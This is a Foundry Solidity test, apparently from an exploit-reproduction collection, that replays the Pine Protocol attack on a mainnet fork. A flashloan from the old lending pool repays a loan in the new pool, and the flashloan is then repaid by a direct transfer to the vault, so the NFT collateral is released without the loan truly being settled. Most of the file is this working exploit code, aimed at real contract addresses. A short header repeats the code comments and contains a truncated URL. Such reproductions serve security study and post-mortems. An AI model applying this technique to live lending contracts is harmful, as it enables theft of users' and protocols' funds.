HIGH severity: PineProtocol exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~90K (info from hacked.slowmist.io) Attacker : https://etherscan.io/address/0x05324c970713450ba0bc12efd840034fcb0a4baa Attacker Contract : https://etherscan.io/address/0x1d5586da44328f28bfbbf59b808a87584355b3ef Vulnerable Contracts : https:

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~90K (info from hacked.slowmist.io)
// Attacker : https://etherscan.io/address/0x05324c970713450ba0bc12efd840034fcb0a4baa
// Attacker Contract : https://etherscan.io/address/0x1d5586da44328f28bfbbf59b808a87584355b3ef
// Vulnerable Contracts : https://etherscan.io/address/0x2405913d54fc46eeaf3fb092bfb099f46803872f
// https://etherscan.io/address/0xc3f4659588b13f23e09ec54783a3c407e39ad589
// NFT buy Tx: https://explorer.phalcon.xyz/tx/eth/0x2f328016764ecf1f57fda0f5490087a5ddba83706b51cf518bdbd7e65ae2383b
// Borrow Tx: https://explorer.phalcon.xyz/tx/eth/0xf4f254c3c6b64ded778b5af292c6ab6ed886c1bdd8988510bdc0ca0cf7f9857e
// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d

// @Analysis
// https://medium.com/neptune-mutual/analysis-of-the-pine-protocol-exploit-e09dbcb80ca0
// https://twitter.com/MistTrack_io/status/1738131780459430338

interface IERC721LendingPool {
    function flashLoan(address _receiver, address _reserve, uint256 _amount, bytes memory _params) external;

    function repay(uint256 nftID, uint256 repayAmount, address pineWallet) external returns (bool);

    function _loans(
        uint256
    )
        external
        view
        returns (
            uint256 loanStartBlock,
            uint256 loanExpireTimestamp,
            uint32 interestBPS1000000XBlock,
            uint32 maxLTVBPS,
            uint256 borrowedWei,
            uint256 returnedWei,
            uint256 accuredInterestWei,
            uint256 repaidInterestWei,
            address borrower
        );
}

contract ContractTest is Test {
    IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
    IERC721LendingPool private constant ERC721LendingPool02Old =
        IERC721LendingPool(0x2405913d54fC46eEAF3Fb092BfB099F46803872f);
    IERC721LendingPool private constant ERC721LendingPool02New =
        IERC721LendingPool(0xC3f4659588b13f23E09Ec54783A3c407e39ad589);
    IERC721 private constant PPG = IERC721(0xBd3531dA5CF5857e7CfAA92426877b022e612cf8);
    address private constant pineGnosisSafe = 0xc490E4646A91C3CBaFa8c55540c94Dcd0212037e;
    address private constant pineExploiter = 0x05324c970713450bA0Bc12EfD840034FCB0A4BAa;
    uint256 private constant collateralTokenId = 3324;

    function setUp() public {
        vm.createSelectFork("mainnet", 18_835_344);
        vm.label(address(WETH), "WETH");
        vm.label(address(ERC721LendingPool02Old), "ERC721LendingPool02Old");
        vm.label(address(ERC721LendingPool02New), "ERC721LendingPool02New");
        vm.label(address(PPG), "PPG");
        vm.label(address(pineGnosisSafe), "pineGnosisSafe");
        vm.label(address(pineExploiter), "pineExploiter");
    }

    function testExploit() public {
        emit log_named_decimal_uint(
            "[Before loan repay] Vault WETH balance after borrowing ~4 WETH to exploiter",
            WETH.balanceOf(pineGnosisSafe),
            18
        );
        emit log_named_address(
            "[Before loan repay] Owner of PPG NFT id 3_324 used by exploiter as loan collateral",
            PPG.ownerOf(collateralTokenId)
        );
        (,,,, uint256 borrowedWei,,,, address borrower) = ERC721LendingPool02New._loans(collateralTokenId);

        console.log(
            "[Before loan repay] Status of the exploiter's loan in the new lending pool - Borrowed wei: %s, Borrower: %s",
            borrowedWei,
            borrower
        );
        console.log("---Exploit start---");
        console.log("1. Taking flashloan from the old lending pool");
        bytes memory params = abi.encode(collateralTokenId, address(ERC721LendingPool02New), pineGnosisSafe);
        vm.prank(address(this), pineExploiter);
        ERC721LendingPool02Old.flashLoan(address(this), address(WETH), WETH.balanceOf(pineGnosisSafe), params);
        console.log("---Exploit end---");
        emit log_named_decimal_uint(
            "[After loan repay] Vault WETH balance (nothing has changed and exploiter successfully repayed his ~4 WETH loan)",
            WETH.balanceOf(pineGnosisSafe),
            18
        );
        emit log_named_address(
            "[After loan repay] Owner of PPG NFT id 3_324 used by exploiter as loan collateral",
            PPG.ownerOf(collateralTokenId)
        );
        (,,,, borrowedWei,,,, borrower) = ERC721LendingPool02New._loans(collateralTokenId);

        console.log(
            "[After loan repay] Status of the exploiter's loan in the new lending pool - Borrowed wei: %s, Borrower: %s",
            borrowedWei,
            borrower
        );
    }

    function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes memory _params) external {
        vm.startPrank(address(this), pineExploiter);
        WETH.approve(address(ERC721LendingPool02New), type(uint256).max);
        console.log("2. Using flashloaned WETH amount from old lending pool to repay loan in new lending pool");
        ERC721LendingPool02New.repay(collateralTokenId, _amount, address(0));
        // Exploiter send to attack contract additional 0.3 WETH to repay the flashloan in the old pool
        deal(address(WETH), address(this), WETH.balanceOf(address(this)) + 0.3 ether);
        console.log("3. Repaying flashloan by transferring WETH straight to the Vault");
        uint256 amountToTransfer = _amount - WETH.balanceOf(pineGnosisSafe);
        WETH.transfer(pineGnosisSafe, amountToTransfer);
        vm.stopPrank();
    }
}


Vulnerability type: unknown